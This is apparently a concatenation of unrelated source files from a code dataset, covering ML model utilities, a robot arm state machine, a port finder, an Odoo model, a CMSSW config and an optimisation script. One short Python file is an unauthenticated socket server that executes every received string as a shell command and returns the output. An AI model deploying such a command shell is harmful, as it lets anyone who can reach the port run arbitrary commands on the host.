def downgrade():
op.drop_Table('gasto')
|
990,144 | ee21dc14ed2bb5f45e2b1d52be659959a1ce4d24 | # coding=utf-8
#!/usr/bin/python
import socket
import commands
HOST='127.0.0.1'
PORT=5000
s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((HOST,PORT))
s.listen(1) # start TCP listen, only 1 request
while 1:
conn,addr=s.accept()
print'Connected by',addr
while 1:
data=conn.recv(1024)
#commands.getstatusoutput interpretion: run shell command, with two rets, status&result, if status is 0, means success
cmd_status,cmd_result=commands.getstatusoutput(data)
# if len of result is 0, means over, like mkdir or create a file, if success, no result will be output
if len(cmd_result.strip()) ==0:
conn.sendall('Done.')
else:
conn.sendall(cmd_result) # if failed, return the result
conn.close()
|
990,145 | c74465933b05bf404efb6443cbe1b8f2fb1e60e9 | # Compatibility Python 2/3
from __future__ import division, print_function, absolute_import
from past.builtins import basestring
from builtins import range
# ----------------------------------------------------------------------------------------------------------------------
import numpy as np
import time
# import jsocket
import os
import matplotlib as mpl
import matplotlib.pyplot as plt
from matplotlib.pyplot import cm
# ---
import opto.data as rdata
import opto.log as rlog
import opto.utils as rutils
import scipyplot as spp
# from R.regression.stats import stats
from dotmap import DotMap
import logging
logger = logging.getLogger(__name__)
__author__ = 'Roberto Calandra'
__version__ = '0.3'
class model(object):
def __init__(self, parameters={}):
if isinstance(parameters, basestring):
# If parameters is a string, load model from file
return self.load(parameters)
else:
p = parameters
self.name = 'model' # Default value
self.probabilistic = False # Default value
self.verbosity = p.get('verbosity', 3)
self.indent = p.get('indent', 0)
self.n_inputs = None
self.n_outputs = None
# self.trainer = DotMap()
#
# self.path = p.get('path', '/home/rcalandra/Dropbox/Research/py-code/experiments')
# self.checkpointName = p.get('checkpointName', os.path.join(self.path, 'tf_model')) # Name checkpoint file
# self.checkpointIterDelta = p.get('checkpointIterDelta', 10000) # Number of Iterations between checkpoints
# self.checkpointTimeDelta = p.get('checkpointTimeDelta', 600) # Number of Seconds between checkpoints
# self._p = None # Pointer to parameters model
# self._model = None # Pointer to the model
# self._X = None # Pointer to input data
# self._Y = None # Pointer to output data
# self._pred = None # Pointer to output prediction
# self._graph = None # Pointer to the graph
# self._saver = None # Pointer to the saver
# self.remoteLogger = False # Connect to logger via TCP
# self.remoteLoggerServer = '127.0.0.1' # Address logger
# self.remoteLoggerPort = 5489 # Port logger
# self._remoteLoggerConnected = False
# self._remoteLogger = None
return self
def __str__(self):
return 'Model: "' + self.name + '" ' + str(self.n_inputs) + '->' + str(self.n_outputs)
def isprobabilistic(self):
return self.probabilistic
def predict(self, dataset):
"""
Predict the output for the given input
:param dataset: either a Dataset.dataset or a np.matrix N_data x N_inputs
:return: (in not probabilistic) a numpy matrix N_data x N_outputs. (if probabilistic) two matrix N_data x N_outputs
"""
# TODO: self.model(training=False)
# logging.info('Predicting')
# if self.verbosity > 1:
# print('Predicting')
dataset = rdata.data2dataset(dataset) # Convert to dataset
assert dataset.get_dim_input() == self.n_inputs, \
'Number of covariates does not match the model %d -> %d' % (dataset.get_dim_input(), self.n_inputs)
n_data = dataset.get_n_data()
pred = self._predict(dataset=dataset) # Predict
if self.isprobabilistic():
assert pred[0].shape == (n_data, self.n_outputs)
assert pred[1].shape == (n_data, self.n_outputs)
else:
assert pred.shape == (n_data, self.n_outputs)
return pred
def predict_mean(self, dataset):
"""
:param dataset:
:return:
"""
if self.isprobabilistic():
mu, var = self.predict(dataset=dataset)
else:
mu = self.predict(dataset=dataset)
return mu
def save(self, nameFile, verbosity=0):
"""
Save to file
:param nameFile:
:return:
"""
rdata.save(self.__dict__, nameFile, verbosity=verbosity)
def load(self, nameFile):
"""
Load from file
:param nameFile:
:return:
"""
self.__dict__ = rdata.load(nameFile)
return self
def compute_error(self, dataset, metric, probabilistic_metric=False):
"""
:param dataset:
:param metric:
:param probabilistic_metric:
:return:
"""
p = self.isprobabilistic()
out = self.predict(dataset)
if probabilistic_metric:
pass
# TODO: implement me!!!
else:
if p:
error = metric(dataset.output.T, out[0])
else:
error = metric(dataset.output.T, out)
return error
def plot_prediction_1D(self, x0, bounds, idx_output=0, idx_input=0, resolution_prediction=1000):
"""
Plot the model sliced (along each dimension) around a pivot point x0
:param x0: pivot point
:param bounds: bounds for the predictions
:param idx_input:
:param resolution_prediction:
:param interactive:
:return:
"""
import matplotlib.pyplot as plt
import scipyplot as spp
# TODO:assert bounds ot type utils.bounds
# TODO: THIS IS not goirg to work FOR MULTI_DIMENSIONAL MODELS!!!!
idx = idx_input
if bounds.get_n_dim() == 1:
X = np.matrix(np.linspace(bounds.get_min(idx).flatten(), bounds.get_max(idx).flatten(), num=resolution_prediction))
else:
X = np.matrix(np.tile(x0, (resolution_prediction, 1)))
X[:, idx] = np.linspace(bounds.get_min(idx).flatten(), bounds.get_max(idx).flatten(), num=resolution_prediction)
prediction = self.predict(X)
if self.isprobabilistic():
h = spp.gauss_1D(x=X[idx, :], y=prediction[0][:, idx_output], variance=prediction[1][:, idx_output],
color='b') # X[:, idx]
else:
h = plt.plot(X[idx, :], prediction[:, idx_output], color='b', linestyle='-', linewidth=2,
label='Prediction')
# plt.axvline(x=x0[idx], linestyle='--', linewidth=2, color='r')
def plot_prediction_2D(self, x0, bounds, idx_output=[0, 1], idx_input=0, resolution_prediction=100):
"""
Plot the model sliced (along each dimension) around a pivot point x0
:param x0: pivot point
:param bounds: bounds for the predictions
:param idx_input:
:param resolution_prediction:
:param interactive:
:return:
"""
import matplotlib.pyplot as plt
import scipyplot as spp
# TODO: assert bounds oF type utils.bounds
# TODO: THIS IS not goirg to work FOR MULTI_DIMENSIONAL MODELS!!!!
# TODO: implement me!!!
# idx = idx_input
# X = np.tile(x0, (resolution_prediction, 1))
# X[:, idx] = np.linspace(bounds.get_min(idx), bounds.get_max(idx), num=resolution_prediction)
# prediction = self.predict(X)
# if self.isprobabilistic():
# h = spp.gauss_1D(x=X[:, idx], y=prediction[0][:, idx_output], variance=prediction[1][:, idx_output],
# color='b')
# else:
# h = plt.plot(X[:, idx], prediction[:, idx_output], color='b', linestyle='-', linewidth=2,
# label='Prediction')
# # plt.axvline(x=x0[idx], linestyle='--', linewidth=2, color='r')
def visualize_prediction_1D(self, x0, bounds, idx_output=0, idx_input=None, resolution_prediction=1000, interactive=True):
"""
Plot the model sliced (along each dimension) around a pivot point x0
:param x0: pivot point
:param bounds: bounds for the predictions
:param idx_input:
:param resolution_prediction:
:param interactive:
:return:
"""
import matplotlib.pyplot as plt
import scipyplot as spp
# TODO:assert bounds ot type utils.bounds
# TODO: THIS IS not goirg to work FOR MULTI_DIMENSIONAL MODELS!!!!
def plotComparison(idx):
if self.n_inputs > 1:
X = np.tile(x0, (resolution_prediction, 1))
X[:, idx] = np.linspace(bounds.get_min(idx), bounds.get_max(idx), num=resolution_prediction)
prediction = self.predict(X)
if self.isprobabilistic():
h = spp.gauss_1D(x=X[:, idx], y=prediction[0][:, idx_output], variance=prediction[1][:, idx_output],
color='b')
else:
h = plt.plot(X[:, idx], prediction[:, idx_output], color='b', linestyle='-', linewidth=2,
label='Prediction')
plt.axvline(x=x0[idx], linestyle='--', linewidth=2, color='r')
else:
X = np.linspace(bounds.get_min(), bounds.get_max(), num=resolution_prediction).T
prediction = self.predict(X)
if self.isprobabilistic():
h = spp.gauss_1D(x=X, y=prediction[0], variance=prediction[1], color='b')
else:
h = plt.plot(X[:, idx], prediction, color='b', linestyle='-', linewidth=2, label='Prediction')
# plt.legend()
# plt.title(dataset.name)
plt.title('%d' % (idx_output))
plt.xlabel('%d' % (idx))
# plt.ylabel(dataset.get_label_input(idx))
nplots = self.n_inputs
if interactive:
spp.utils.interactivePlot(plotComparison, nplots=nplots)
else:
h = []
# Visualize
if idx_input is None:
idx_input = np.arange(nplots)
for idx in idx_input:
fig = plt.figure()
h.append(fig)
ax = fig.add_subplot(1, 1, 1)
plotComparison(idx)
return h
def plot_prediction_dataset(self, dataset, idx_output=None, interactive=False):
"""
:param dataset:
:param idx_output:
:param interactive: Binary flag to activate the interactive mode (i.e., one single window controlled by arrows)
:return:
"""
import matplotlib.pyplot as plt
import scipyplot as spp
prediction = self.predict(dataset) # Predict dataset
def plotComparison(idx):
handle = [None, None]
handle[0] = plt.plot(dataset.output[idx, :].T, color='g', linestyle='-', linewidth=2, marker='o', label='Groundtruth')
if self.isprobabilistic():
handle[1] = spp.gauss_1D(y=prediction[0][:, idx], variance=prediction[1][:, idx], color='b')
# handle[1] = plt.plot(prediction[0][:, idx], color='b', linestyle='-', linewidth=2, label='Prediction')
else:
handle[1] = plt.plot(prediction[:, idx], color='b', linestyle='-', linewidth=2, label='Prediction')
plt.legend()
plt.title(dataset.name)
plt.ylabel(dataset.get_label_input(idx))
nplots = dataset.get_dim_output()
if interactive:
spp.utils.interactivePlot(plotComparison, nplots=nplots)
else:
h = []
# Visualize
if idx_output is None:
idx_output = np.arange(nplots)
for idx in idx_output:
fig = plt.figure()
h.append(fig)
ax = fig.add_subplot(1, 1, 1)
plotComparison(idx)
plt.show()
return h
def linearize(self, x, numeric=False):
"""
:param x:
:return: given the form y = Ax+B. we are returning A, B. C is the full covariance matrix in case of uncertainty
"""
x = rdata.data2dataset(x)
if numeric:
pass
# TODO: use finite differences
else:
A = self.gradient(x.input)
B = self.predict(x.input) - np.multiply(A, x.input.T)
if self.probabilistic is True:
C = []
# TODO: implement me
else:
C = []
# TODO: implement me
return A, B, C
|
990,146 | 59c8d2b2c24ca1fdd03ba5630548189188982cf5 | #! /usr/bin/env python3
# BSD 3-Clause License
#
# Copyright (c) 2019, David Wuthier - daw@mp.aau.dk
# Aalborg University
# Robotics, Vision and Machine Intelligence Laboratory
# Department of Materials and Production
# A. C. Meyers Vaenge 15, 2450 Copenhagen SV, Denmark
# http://rvmi.aau.dk/
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# * Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
import l3
from l3 import sequence, selector, FiniteStateMachine
class MovementManager(object):
def __init__(self):
# Parameters
self.robot_name = 'arm1'
self.current_target_id = ''
nodes = {}
self.generate_nodes(nodes, 'bins', 'conveyor', 'agv')
self.generate_nodes(nodes, 'agv', 'bins', 'conveyor')
self.generate_nodes(nodes, 'conveyor', 'agv', 'bins')
nodes['approach conveyor'] = lambda: self.move_to(self.ns('conveyor/approach'), 'huge')
nodes['grasp on conveyor'] = lambda: self.grasp_in(self.ns('conveyor/grasp'), 0.5, False)
nodes['raise on conveyor'] = lambda: self.move_to(self.ns('conveyor/approach'), 'huge')
fsm = FiniteStateMachine(nodes)
fsm.set_start('approach bins')
self.handles = {}
self.handles['withdraw'] = fsm.get_handle('withdraw')
self.handles['preemptive?'] = fsm.get_handle('preemptive?')
self.handles['bins/pick'] = self.generate_pick(fsm, 'bins', 'conveyor', 'agv')
self.handles['bins/place'] = self.generate_place(fsm, 'bins', 'conveyor', 'agv')
self.handles['agv/pick'] = self.generate_pick(fsm, 'agv', 'bins', 'conveyor')
self.handles['agv/place'] = self.generate_place(fsm, 'agv', 'bins', 'conveyor')
self.handles['conveyor/pick'] = self.generate_pick(fsm, 'conveyor', 'agv', 'bins')
self.handles['conveyor/place'] = self.generate_place(fsm, 'conveyor', 'agv', 'bins')
fsm.add_marker('approach bins', 'preemptive?', direct = True)
fsm.add_marker('bins to agv', 'preemptive?', direct = True)
def ns(self, frame_id):
return '{}/{}'.format(self.robot_name, frame_id)
def generate_nodes(self, nodes, area, area_before, area_after):
nodes['{} to {}'.format(area_before, area)] = lambda: self.move_to(self.ns('{}/{}'.format(area, area_before)), 'via point')
nodes['{} to {}'.format(area_after, area)] = lambda: self.move_to(self.ns('{}/{}'.format(area, area_after)), 'via point')
nodes['approach {}'.format(area)] = lambda: self.move_to(self.ns('{}/approach'.format(area)), 'fine')
nodes['enable gripper on {}'.format(area)] = lambda: self.gripper_control(True)
nodes['grasp on {}'.format(area)] = lambda: self.grasp_in(self.ns('{}/grasp'.format(area)))
nodes['record grasping pose on {}'.format(area)] = lambda: self.record_grasping_pose()
nodes['detach approach on {} (pick)'.format(area)] = lambda: self.detach_approach()
nodes['raise on {}'.format(area)] = lambda: self.move_to(self.ns('{}/approach'.format(area)), 'coarse')
nodes['disable gripper on {}'.format(area)] = lambda: self.gripper_control(False)
nodes['put back on {}'.format(area)] = lambda: self.move_to(self.ns('{}/grasp'.format(area)), 'coarse')
nodes['put on {}'.format(area)] = lambda: self.move_to(self.ns('{}/grasp'.format(area)), 'coarse')
nodes['release on {}'.format(area)] = lambda: self.gripper_control(False)
nodes['detach approach on {} (place)'.format(area)] = lambda: self.detach_approach()
nodes['escape {}'.format(area)] = lambda: self.move_to(self.ns('{}/approach'.format(area)), 'fine')
def generate_pick(self, fsm, area, area_before, area_after):
# Transits
fsm.add_transition('{} to {}'.format(area_before, area_after), 'approach {}'.format(area_before), '{}/pick'.format(area), direct = True)
fsm.add_transition('approach {}'.format(area_before), '{} to {}'.format(area_before, area), '{}/pick'.format(area))
fsm.add_transition('{} to {}'.format(area_before, area), 'approach {}'.format(area), '{}/pick'.format(area))
fsm.add_transition('{} to {}'.format(area, area_before), 'approach {}'.format(area), '{}/pick'.format(area), direct = True)
fsm.add_transition('{} to {}'.format(area_after, area_before), 'approach {}'.format(area_after), '{}/pick'.format(area), direct = True)
fsm.add_transition('approach {}'.format(area_after), '{} to {}'.format(area_after, area), '{}/pick'.format(area))
fsm.add_transition('{} to {}'.format(area_after, area), 'approach {}'.format(area), '{}/pick'.format(area))
fsm.add_transition('{} to {}'.format(area, area_after), 'approach {}'.format(area), '{}/pick'.format(area), direct = True)
# Pick
fsm.add_transition('approach {}'.format(area), 'enable gripper on {}'.format(area), '{}/pick'.format(area))
fsm.add_transition('enable gripper on {}'.format(area), 'grasp on {}'.format(area), '{}/pick'.format(area))
fsm.add_transition('grasp on {}'.format(area), 'record grasping pose on {}'.format(area), '{}/pick'.format(area))
fsm.add_transition('record grasping pose on {}'.format(area), 'detach approach on {} (pick)'.format(area), '{}/pick'.format(area))
fsm.add_transition('detach approach on {} (pick)'.format(area), 'raise on {}'.format(area), '{}/pick'.format(area))
fsm.add_transition('raise on {}'.format(area), 'approach {}'.format(area), '{}/pick'.format(area))
fsm.add_marker('raise on {}'.format(area), '{}/pick'.format(area))
# Preemptions
fsm.add_transition('enable gripper on {}'.format(area), 'disable gripper on {}'.format(area), 'withdraw', direct = True)
fsm.add_transition('disable gripper on {}'.format(area), 'approach {}'.format(area), 'withdraw')
fsm.add_transition('grasp on {}'.format(area), 'disable gripper on {}'.format(area), 'withdraw', direct = True)
fsm.add_transition('record grasping pose on {}'.format(area), 'disable gripper on {}'.format(area), 'withdraw', direct = True)
fsm.add_transition('detach approach on {} (pick)'.format(area), 'disable gripper on {}'.format(area), 'withdraw', direct = True)
fsm.add_transition('raise on {}'.format(area), 'put back on {}'.format(area), 'withdraw', direct = True)
fsm.add_transition('put back on {}'.format(area), 'disable gripper on {}'.format(area), 'withdraw')
fsm.add_marker('approach {}'.format(area), 'withdraw')
fsm.add_marker('{} to {}'.format(area_before, area), 'withdraw', direct = True)
fsm.add_marker('{} to {}'.format(area_after, area), 'withdraw', direct = True)
return fsm.get_handle('{}/pick'.format(area))
def generate_place(self, fsm, area, area_before, area_after):
# Transits
fsm.add_transition('{} to {}'.format(area_before, area_after), 'approach {}'.format(area_before), '{}/place'.format(area), direct = True)
fsm.add_transition('approach {}'.format(area_before), '{} to {}'.format(area_before, area), '{}/place'.format(area))
fsm.add_transition('{} to {}'.format(area_before, area), 'approach {}'.format(area), '{}/place'.format(area))
fsm.add_transition('{} to {}'.format(area, area_before), 'approach {}'.format(area), '{}/place'.format(area), direct = True)
fsm.add_transition('{} to {}'.format(area_after, area_before), 'approach {}'.format(area_after), '{}/place'.format(area), direct = True)
fsm.add_transition('approach {}'.format(area_after), '{} to {}'.format(area_after, area), '{}/place'.format(area))
fsm.add_transition('{} to {}'.format(area_after, area), 'approach {}'.format(area), '{}/place'.format(area))
fsm.add_transition('{} to {}'.format(area, area_after), 'approach {}'.format(area), '{}/place'.format(area), direct = True)
# Place
fsm.add_transition('approach {}'.format(area), 'put on {}'.format(area), '{}/place'.format(area))
fsm.add_transition('put on {}'.format(area), 'release on {}'.format(area), '{}/place'.format(area))
fsm.add_transition('release on {}'.format(area), 'detach approach on {} (place)'.format(area), '{}/place'.format(area))
fsm.add_transition('detach approach on {} (place)'.format(area), 'escape {}'.format(area), '{}/place'.format(area))
fsm.add_transition('escape {}'.format(area), 'approach {}'.format(area), '{}/place'.format(area))
fsm.add_marker('escape {}'.format(area), '{}/place'.format(area))
# Preemptions
fsm.add_transition('put on {}'.format(area), 'approach {}'.format(area), 'withdraw', direct = True)
fsm.add_marker('put on {}'.format(area), 'withdraw', direct = True, outcome = l3.FAILURE)
fsm.add_marker('release on {}'.format(area), 'withdraw', direct = True, outcome = l3.FAILURE)
fsm.add_marker('detach approach on {} (place)'.format(area), 'withdraw', direct = True, outcome = l3.FAILURE)
fsm.add_marker('escape {}'.format(area), 'withdraw', direct = True, outcome = l3.FAILURE)
return fsm.get_handle('{}/place'.format(area))
def record_grasping_pose(self):
print('>> record_grasping_pose')
r = l3.SUCCESS
print('<< record_grasping_pose returns {}'.format(r))
return r
def get_offset(self):
print('>> get_offset')
r = l3.SUCCESS
print('<< get_offset returns {}'.format(r))
return r
def attach_approach(self):
print('>> attach_approach')
r = l3.SUCCESS
print('<< attach_approach returns {}'.format(r))
return r
def detach_approach(self):
print('>> detach_approach')
r = l3.SUCCESS
print('<< detach_approach returns {}'.format(r))
return r
def handle_gripper_state(self, request):
print('>> handle_gripper_state ({})'.format(request))
r = l3.SUCCESS
print('<< handle_gripper_state returns {}'.format(r))
return r
def handle_query(self, request):
print('>> handle_query ({})'.format(request))
r = l3.SUCCESS
print('<< handle_query returns {}'.format(r))
return r
def gripper_cb(self, msg):
print('>> gripper_cb ({})'.format(msg))
r = l3.SUCCESS
print('<< gripper_cb returns {}'.format(r))
return r
def move_to(self, area, tol, speed = 0.5):
print('>> move_to ({}, {}, {})'.format(area, tol, speed))
r = l3.SUCCESS
print('<< move_to returns {}'.format(r))
return r
def move_to_height(self, area, tol, speed = 0.5):
print('>> move_to_height ({}, {}, {})'.format(area, tol, speed))
r = l3.SUCCESS
print('<< move_to_height returns {}'.format(r))
return r
def grasp_in(self, area, speed = 0.5, shaking = True):
print('>> grasp_in ({}, {}, {})'.format(area, speed, shaking))
r = l3.SUCCESS
print('<< grasp_in returns {}'.format(r))
return r
def gripper_control(self, state):
print('>> gripper_control ({})'.format(state))
r = l3.SUCCESS
print('<< gripper_control returns {}'.format(r))
return r
def handle_tick(self, request):
print('> request {}'.format(request))
[skill, target_id] = request.split()
if self.current_target_id != target_id:
if self.handles['withdraw']() == l3.SUCCESS:
self.current_target_id = target_id
r = l3.RUNNING
else:
r = self.handles[skill]()
print('< request {} returns {}'.format(request, r))
print('')
return r
if __name__ == '__main__':
mm = MovementManager()
status = 0
for i in range(3):
status = mm.handle_tick('bins/pick gear_1')
while status != l3.SUCCESS:
status = mm.handle_tick('conveyor/pick disk_1')
|
990,147 | 443171cfa4acf911564f328fcf075e076748a919 | """Logging用Util"""
import logging
logging.basicConfig(
level=logging.ERROR,
format='%(asctime)s[%(name)s][%(levelname)s] %(message)s'
)
logger = logging.getLogger('ROBOTER')
logger.setLevel(logging.DEBUG)
def debug(message):
"""DEBUGログ出力
Args:
message (str): ログ出力内容
"""
logger.debug(message)
def info(message):
"""ログ出力
Args:
message (str): ログ出力内容
"""
logger.info(message)
|
990,148 | 69b70ea717879eec4554efbc198ab6285baf5798 | #
# Copyright (c) SAS Institute Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import errno
import fcntl
import os
import random
import socket
import time
# this blows - set close-on-exec flag
if hasattr(os, '_urandomfd'):
#pylint: disable-msg=E1101,W0212
fcntl.fcntl(os._urandomfd, fcntl.F_SETFD, 1)
class PortFinder(object):
LOWER_BOUND = 16000
UPPER_BOUND = 30000
def __init__(self):
self._port = None
self.reseed()
def reseed(self):
random.seed()
self._port = random.randrange(self.LOWER_BOUND, self.UPPER_BOUND)
def findPorts(self, num=1, closeSockets=True):
"""
Find C{num} random ports that aren't in use.
If C{closeSockets} is C{True} (the default), returns a list
of port numbers. If C{False}, returns a list of C{(port, socket)}
tuples.
"""
ports = []
sockets = []
while len(ports) < num:
if self._port > self.UPPER_BOUND:
# Wrap around
self._port = self.LOWER_BOUND
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
# Try to bind the IPv6 "any" address to make sure the
# port isn't in use with TCPv4 or TCPv6 on any interface.
sock.bind(('::', self._port))
except socket.error, error:
if error.args[0] != errno.EADDRINUSE:
raise
# Collision - reseed so we get as far away from the
# other process as possible.
self.reseed()
time.sleep(random.uniform(0.1, 0.7))
continue
else:
# Open port
if closeSockets:
sock.close()
else:
sockets.append(sock)
ports.append(self._port)
self._port += 1
if closeSockets:
return ports
else:
return zip(ports, sockets)
_portFinder = PortFinder()
def findPorts(num=1, closeSockets=True):
return _portFinder.findPorts(num, closeSockets=closeSockets)
def tryConnect(host, port, count=100, interval=0.1, logFile=None,
backoff=0.05, maxInterval=1, abortFunc=None):
if host:
addrs = socket.getaddrinfo(host, port)
family, socktype, proto, _, sockaddr = addrs[0]
sock = socket.socket(family, socktype)
else:
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sockaddr = port
# Setting SO_REUSEADDR lets the kernel recycle dead ports
# immediately, which is polite since we're making so many connections.
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
for n in range(count):
if abortFunc and not abortFunc():
# Set the exception for 'raise' to raise at the end of this func
try:
raise RuntimeError("Server exited unexpectedly")
except:
break
try:
sock.connect(sockaddr)
sock.close()
return
except socket.error, error:
if error.args[0] in (errno.ECONNREFUSED, errno.ENOENT):
i = min(interval + n * backoff,maxInterval)
time.sleep(i)
continue
raise
if logFile:
if os.path.exists(logFile):
print 'logFile contents:\n%s' % open(logFile).read()
else:
print 'log file is missing'
# re-raise the last error
raise
def getLocalhostIP():
"""
Return the first IP that 'localhost' resolves to.
Hopefully that's either 127.0.0.1 or ::1.
"""
return socket.getaddrinfo('localhost', 0)[0][4][0]
|
990,149 | b0fb2f85385f3a7e9e02eafd2f93cd789c8b3b53 | # -*- coding: utf-8 -*-
""" override order line """
import pprint
import logging
from openerp import models, fields, api, exceptions, tools
_logger = logging.getLogger(__name__)
class OrderLine(models.Model):
""" override order line """
_inherit = 'sale.order.line'
project_id = fields.Many2one('project.project', string="Related Project")
fixed_price = fields.Boolean(default=False)
tasks_ids = fields.One2many('project.task', 'direct_sale_line_id', string="Related Tasks")
tasks_count = fields.Integer(compute="compute_tasks_ids", string="Tasks")
@api.depends('tasks_ids')
def compute_tasks_ids(self):
""" recompute task count """
for line in self:
line.tasks_count = len(line.tasks_ids)
|
990,150 | 3926c4b35bcee1e2597e2da3d5d11e7fa29c4c93 | import FWCore.ParameterSet.Config as cms
l1MetFilterRecoTree = cms.EDAnalyzer("L1MetFilterRecoTreeProducer",
triggerResultsToken = cms.untracked.InputTag("TriggerResults::RECO"),
hbheNoiseFilterResultToken = cms.untracked.InputTag("HBHENoiseFilterResultProducer:HBHENoiseFilterResult"),
badChargedCandidateFilterToken = cms.untracked.InputTag("BadChargedCandidateFilter"),
badPFMuonFilterToken = cms.untracked.InputTag("BadPFMuonFilter")
)
|
990,151 | 04df38ed85279720a958d2a830ec48603b9879d8 | from serialization import *
class Serializer:
@staticmethod
def serialize_object(obj: object):
return serialize_object(obj)
@staticmethod
def deserialize_object(obj: object):
return deserialize_object(obj)
|
990,152 | c8dc22e16ca5617a2c3a50d31fa44f75597814be | import turtle
import time
t = turtle.Pen()
D = 0
d = 0
print("The equation is T = 0 + (n-1)d")
D = int(input("\nPick a number between 0 and 50: "))
if D <= 50 and D >= 10:
while d <= 500:
d = d + D
t.forward(d)
t.right(90)
else:
print("Invalid Input")
time.sleep(5) |
990,153 | 72835ca252b5dfc68973f7c61ca866067b7965e8 | #!/usr/bin/python
"""
Sample Run -
./get_activation_patterns.py -i weight_files/XOR.dat -c
./get_activation_patterns.py -i ../forward_pass/activation_pattern/models/fcnn_run_54/weights.dat | tee ../forward_pass/activation_pattern/models/fcnn_run_54/bounds.log
./get_activation_patterns.py -i ../forward_pass/activation_pattern/models/fcnn_run_54/weights.dat -a | tee ../forward_pass/activation_pattern/models/fcnn_run_54/bounds.log
./get_activation_patterns.py -i ../forward_pass/activation_pattern/models/fcnn_run_132/weights.dat -m 0.001 | tee ../forward_pass/activation_pattern/models/fcnn_run_132/bounds_width_0.001.log
./get_activation_patterns.py -i ../forward_pass/activation_pattern/models/fcnn_run_132/weights.dat -x local_stability/mnist_sample_class_0.dat -L 0.001 | tee ../forward_pass/activation_pattern/models/fcnn_run_132/bounds_xbar_0_width_0.001.log
This function calls gurobipy on a deep neural network weights and biases to
frame an optimisation problem and then obtain the solution to decide the
minimum and maximum of each node at each layer. The input is assumed to be
bounded. Then these bounds are used to calculate the activation pattern
at each of the nodes barring the input nodes. It also write two files in the
same directory as the weights file -
1) inactive_nodes_file - File which specifies which layer and index, the
units are off
2) activation_pattern_file - File which contains all possible activation
patterns of the network
The code is implementation of ideas in the paper and the exact optimisation
problem used are the equations (12)-(14) of the paper
Empirical Bounds on Linear Regions of Deep Rectifier Networks
- T Serra and S Ramalingam
https://arxiv.org/pdf/1810.03370.pdf
Modes in which the functions work:
1) Normal mode - Solve exactly for till total_layers-2 and get a feasible
solution at total_layers-1 to see the maxima and minima. If no maxima
or minima is found at the top_layer-1, that means the solution does
not exist
2) Approx mode - Get a feasible solution at all layers and use
model.objBound which is the solution of LP - the relaxed version of
the MILP to get the H and Hbars.
Note:
We never solve for the final layers for classification models since that
is the softmax layer and is required for classification
Version 11 Abhinav Kumar 2019-04-30 (functionality of xbar and width around xbar for local stability analysis added)
Version 10 Abhinav Kumar 2019-04-22 (maxima option added in arguments)
Version 9 Abhinav Kumar 2019-04-02 (args.bounds_only_flag_added to get only bounds)
Version 8 Abhinav Kumar 2019-03-27 (Bounds default value > 0 and used checks for activation pattern as > 0)
Version 7 Abhinav Kumar 2019-03-26 (Classification and Regression Models fixed)
Version 6 Abhinav Kumar 2019-03-22 (Flush added in callback)
Version 5 Abhinav Kumar 2019-03-22 (Activations logged to a file)
Version 4 Abhinav Kumar 2019-03-20 (Weird terminations handled as per Thiago)
Version 3 Abhinav Kumar 2019-03-20 (ObjBound used when nothing Optimal available)
Version 2 Abhinav Kumar 2019-03-19 (approx_method_no_solution_val fixed to -0.0)
Version 1 Abhinav Kumar 2019-03-16
"""
import argparse
import os
import numpy as np
import time
from gurobipy import *
import re
import random
import copy
import torch
from torch import nn
import torch.nn.functional as F
from common.io import mkpath, mkdir
from dir_lookup import *
from nn_milp_utils import parse_file, parse_npy
accuracy = None
time_before = time.time()
ap = argparse.ArgumentParser()
ap.add_argument ('-i', '--input' , help = 'path of the input dat file' , default='./weight_files/XOR.dat')
ap.add_argument ('-a', '--approx' , action='store_true' , help = 'use approx algorithm for calculation (default: False)')
ap.add_argument ('-b', '--bounds_only_flag' , action='store_true' , help = 'bounds only flag (default: False)')
ap.add_argument ('--preprocess_all_samples' , action='store_true' , help = 'preprocess the neuron stability using all training samples(default: False)')
ap.add_argument ('--preprocess_partial_samples' , action='store_true' , help = 'preprocess the neuron stability using partial training samples(default: False)')
ap.add_argument ('-c', '--classify_flag' , action='store_false' , help = 'classification flag (default: True)')
ap.add_argument ('-m', '--maximum' , type=float , help = 'maxima of the nodes (default: 1)' , default='1')
ap.add_argument ('-x', '--xbar_file' , help = 'Center of the individual input nodes in csv format. Could be an image of the validation set.')
ap.add_argument ('-L', '--width_around_xbar', type=float , help = 'Width around xbar of each individual node. (default: 0.0001)' ,default='0.0001')
